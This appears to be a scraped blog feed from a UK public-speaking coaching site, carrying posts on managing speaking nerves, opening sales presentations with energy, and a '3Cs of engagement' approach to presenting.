From my personal experience, I can confidently say that my relationship with George has been a huge benefit to both of us. It has given me renewed enthusiasm for building quality relationships with other people at work and elsewhere. It has underlined my belief that people are all interesting if you take the time to find out. And it is always possible to find points of connection, shared interests and a reason to look forward to a next meeting.

If you feel like you’re on the sales treadmill and need to refresh yourself, take up this challenge of honing your sales and relationship-building talents in a different environment. Not only will you be providing support to someone who really needs it, you’ll benefit in unexpected ways at work and elsewhere.

Originally published in www.sales-initiative.com

 

 

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]]> Speaking fear is your friend, embrace it! https://www.nowyouretalking.co.uk/2018/02/17/make-speaking-fear-your-friend/ Sat, 17 Feb 2018 10:04:23 +0000 https://www.nowyouretalking.co.uk/?p=346 When you stand up to speak, you want to share something you care about with your audience. At the same time, you want them to enjoy the ride and leave with something they value.  Flip that around and sit yourself…

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]]> When you stand up to speak, you want to share something you care about with your audience. At the same time, you want them to enjoy the ride and leave with something they value.  Flip that around and sit yourself in the audience.  Imagine the speaker coming on stage and every inch of their being tells you they are petrified.  How do you feel as the listener?  Uncomfortable?  Worried for the speaker?  Certainly not relaxed and ready to enjoy their speech.  That was me and I’ve learnt how you can make speaking fear your speaking friend so that the authentic you can get on stage and connect powerfully with your audience.

Being nervous is normal.  As Mark Twain astutely observed:

“There are two types of speakers.  Those who get nervous and those who are liars.”

No one is born with a fear of public speaking; it is something we learn, so we can equally learn to quash the debilitating nerves and harness the good nerves, those nerves that give us positive energy and presence on stage, those nerves that help us connect with our audience.  To achieve this, we need to reprogram our mindset and make friends with our nerves.  It seems to me that we need to pay attention to five key areas.

1.  Face up to your speaking fear excuses

Befriend your nerves

Before you can make speaking fear your friend, you need to identify the emotional barriers that you put up to convince yourself that you can’t speak in public. Do you, for instance, worry …

  • I’ll be under scrutiny and be caught out
  • I’ll be a lesser person if I’m not perfect
  • I’m afraid of rejection – people won’t want to know me anymore
  • I’ll be boring
  • And you can probably think of others?

Public speaking has nothing to do with self-worth.  You are more than your speech and your ability to speak has nothing to do with who you are as a human being.  The good news is that managing the nerves and speaking with confidence and sincerity is a skill that you can learn.

Try making a list of all your excuses.  Once we know what our fears are, we’re in position to confront them head on.  Interrogate them.  Deconstruct them.  Render them powerless and clear our head of negative thoughts.  Think about  a friend or a child presenting you with these excuses.  What would you say to them?  Would it have something to do with self-belief, visualising successful outcomes or some other positive advice?

2.  Don’t expect perfection from yourself

Perfectionism is the curse of the speaker.  By striving for perfection, you set yourself up to fail.  Moreover, none of us is perfect and we all make mistakes, so as a perfectionist, failure lurks around every corner.

Be clear in your own mind that the audience is unlikely to know if you make a mistake unless you tell them.  Speakers often reprimand themselves for forgetting a chunk of their speech, but the audience does not know what you had planned to say and, therefore, won’t miss it.

Instead of trying to be perfect, do yourself a kindness and give yourself permission to be less than perfect, make speaking fear your friend.  Set yourself challenging, yet achievable, standards and give yourself a pat on the back when you’ve spoken.  Focus on what you did well, savour the glory and note ways in which you can be even better next time.  It’s important to remember that great speeches do not happen overnight. Rather, they are an iterative process of crafting and honing content, practising delivery and seeking feedback.

Think like a sportsman, carry a post-it note with you to remind you … “Connection, not perfection!”

3.  Persuade your brain to work with you

Speaking fear happens when we are really nervous, removing our ability to think quickly and clearly, to the extent that we may actually dry up.  In the words of the judge, George Jessel:

“The human brain starts working the moment you are born
and never stops until you stand up to speak in public”

When we are speaking in public, however, we need our brain to be working with us, in the moment, thinking about what we are saying, responding to the needs and reactions of our audience.  The 2017 Toastmasters World Champion of Public Speaking Manoj Vasudevan made precisely this point about delivering his winning speech.  He said that as he took to the stage, he could see that the audience looked tired and ready to go home.  Reading the low energy level, he toned down his delivery to ensure he did not come across as overly abrasive.  He had to make a judgment call, as he spoke, a decision that would not have been possible if his brain had been frozen by speaking fear.

According to psychiatrist Steve Peters who wrote The Chimp Paradox, we can learn to manage stress positively.  He talks about the Human part of our brain that works with logic and reason and the Chimp that makes snap judgments based on emotions and gut instinct.  Furthermore, they can work independently or together.  In public speaking, we need them to work together or we are overcome by speaking fear.

As public speakers who are stressed or nervous, our Chimp will always react first and, with the aim of keeping us safe, it will go into fight, flight or freeze mode.  This is normal, but it is not what you need for quick thinking and a strong performance.

One solution is to programme your brain with positive speaking associations and help make friends with your speaking fear.  As a result, you reinforce a sense of safety that does not need the intervention of the Chimp.  What does this mean in practice?  In any public-speaking environment, arrive early and familiarise yourself with the speaking area so that you feel comfortable.  Introduce yourself to members of the audience, so you see friendly faces from the stage.  Register the applause and give yourself a pat on the back for a speech well delivered.  Once you are more comfortable and your Chimp is no longer in control, your ability to reason and think on your feet will grow, while your Chimp will help bring energy and enthusiasm to your speech.

4.  Expect speaking fear and make it work for you

As Mark Twain said, we all get nervous when we speak.  But what is nervousness?  It is energy; it is what we experience when the adrenaline is flowing.  And adrenaline is our friend, giving us energy and presence on stage.  It helps us demonstrate our enthusiasm and passion for our subject, it helps us engage with our audience and generate a real sense of fun and excitement.

Before the adrenaline kicks in, we need to be well prepared and focused on what will go right, not what could go wrong.  Give yourself the pre-match pep talk – I’m ready, this is going to be fun, etc.  And remember that you have been invited to speak because you are seen to have the necessary credentials.

Once the adrenaline surges, we need to make it help us.  Some people find it helpful to move, run on the spot, jump up and down.  Breathe slowly and deeply.  Take to the stage and pause.  Take a deep breath and start to connect with your audience with your attention-grabbing or thought-provoking opening.  After your speech, enjoy the surge of wellbeing you get from your success. Speaking fear is now your friend

5.  Focus on connection – channel your speaking fear

Speaking fear - connection not perfection

Don’t overthink audience reactions because there will always be someone on the phone, yawning or looking distracted.  This is not personal and there is nothing you can do about it.  Don’t let it paralyse you.  Instead, focus on the majority of people in your audience who are with you, who are alert and attentive, the people who are smiling, nodding and appreciating what you have to say.  Connect with these interested people by sharing relevant stories and ideas in a way that is meaningful to them and you will feel happier and more relaxed on stage.

Reprogramming your mindset won’t happen overnight, but continuous speaking practice and a permanent (post-it) ‘note to self’ about connection (not perfection), your new friends in the audience will set you on the road to more enjoyable speaking experiences.

Recently published at:

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]]> Pizzazzing your sales presentation https://www.nowyouretalking.co.uk/2018/01/15/pizzazzing-your-sales-presentation/ Mon, 15 Jan 2018 18:52:27 +0000 https://www.nowyouretalking.co.uk/?p=319 When you give a lot of sales presentations there is always a danger of getting a bit stale. So it’s important to start your presentation with energy and pizzazz. Even if you are feeling uninspired, remember there are always options…

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]]> When you give a lot of sales presentations there is always a danger of getting a bit stale. So it’s important to start your presentation with energy and pizzazz. Even if you are feeling uninspired, remember there are always options for being more creative and having an immediate, positive impact on your audience. Starting well, being engaging and energetic makes it so much easier to keep momentum throughout your presentation.

Here are some tips on getting that early engagement and energy.

  1. Work your opening words

Lightbulb moment

Spend time working on the opening of your presentation. Practise in front of the mirror, in front of your family pet if necessary. Make sure you have a few strong sentences that will flow and get your ideas across clearly. While you are practising check that you look good too. Upright posture not only helps you exude energy it will give your clients confidence in you and encourage them to listen intently.

  1. Use anecdotes

Good presenters are adept at telling appropriate stories. They can be very brief and if told well they add colour and interest. We all have a stockpile of stories. Find one that will fit your client, perhaps a story that relates to something in the news that is relevant to their company or industry. By starting with a story you’ll set yourself apart from less accomplished presenters and energise your audience.

  1. Use active language

From the start of your presentation use active language. Avoid the passive voice. If you say “it is said that there is always a solution to a problem”, you leave everyone unsure about who will be taking responsibility for finding a solution. If you say “Today we will find a solution to this problem…” it is clear where responsibility lies and your audience will take notice.

  1. Come up with an anchor phrase

Motivational speakers often have an anchor phrase, words that everyone associates with them. You may not be standing up in front of 10,000 people in the Excel Centre but your job is still to motivate. So why not borrow a technique? “We’ll find a way”. “Yes we can!” “Paul for paper!” You can punctuate your presentation with your catch phrase right from the beginning. Doing so adds emphasis, fun, and makes you memorable. Who doesn’t need some fun or light relief in a business presentation?

  1. Quote an expert

If a catch phrase isn’t for you why not start with a high impact quote from an industry expert?  Someone respected by your audience. If the quote is recent so much the better. If it’s from a recent article or event you’ve attended you show you have your finger on the pulse. You also benefit from the credibility of the person you are quoting.

Quite often the main body of a sales presentation will contain information that we have to repeat for every client. Starting with pizzazz gives you a way to personalise your presentation and tailor it for your specific audience.

Starting with pizzazz helps you give a quality, professional presentation which builds momentum. And most importantly means you’ll seal the deal!

First published in Sales Initiative

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]]> How do I present? Let me count the ways https://www.nowyouretalking.co.uk/2017/10/20/how-do-i-present-let-me-count-the-ways/ Fri, 20 Oct 2017 11:02:22 +0000 https://www.nowyouretalking.co.uk/?p=147 Forgive me for borrowing shamelessly from Elizabeth Barrett Browning, but a quick canter through Twitter reveals any number of ways to improve your public speaking and presentation skills. For example: Answer this 1 question and your audience will love you…

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]]> Forgive me for borrowing shamelessly from Elizabeth Barrett Browning, but a quick canter through Twitter reveals any number of ways to improve your public speaking and presentation skills.

Titles with numbers

For example:

Answer this 1 question and your audience will love you
2 things that will get you further than hard work
3 ways to be a better public speaker
4 presentation pitfalls
5 things you need to know for a perfect presentation
6 tips on how to present data in PowerPoint and avoid data overload
7 places to find powerful creative ideas
The 8 worst ways to start a speech
The 9 reasons why delivery is king over content
10 things your audience hates about your presentation
The 11 best presentation hacks you will ever need
And the numbers keep climbing.

What are we supposed to make of this?  Have the lower numbers overlooked something the higher numbers know about? Are the higher numbers exaggerating?

There are so many elements to public speaking and presenting, but the weight you give to each will depend on your point of view or what is important.  If you were to ask me the question – How do I present?  Let me count the ways, I would plump for the 3Cs of engagement.

1.  Clarity

If you are not clear in your own mind about what you want to say, then what hope for your audience?  You need to be clear about your purpose and message.  This will drive your content and how to structure it.

2.  Commitment to your audience

Stand out speakers know that the audience is their focus.  They understand that audience members are thinking ‘What’s In It For Me?’ (WIIFM).  And they ignore this question at their peril.  If your audience cannot find a personal relevance in your speech, their attention will drift.  This is why we say ‘know your audience’.  What do they want to know?  How do they want to receive it?  Show them WIIFM.

3.  Connection

Engaging your audience fully helps to make your speech more memorable and helps you, as the speaker, feel more relaxed.  There are many ways to create connections with your audience.  You need to be authentic, show them the ‘real’ you, be sincere, share personal stories and speak with conviction about things that you genuinely care about that are, simultaneously, of value to your audience.

That’s my contribution to the numbers game – the 3Cs of engagement in your speeches and presentations.

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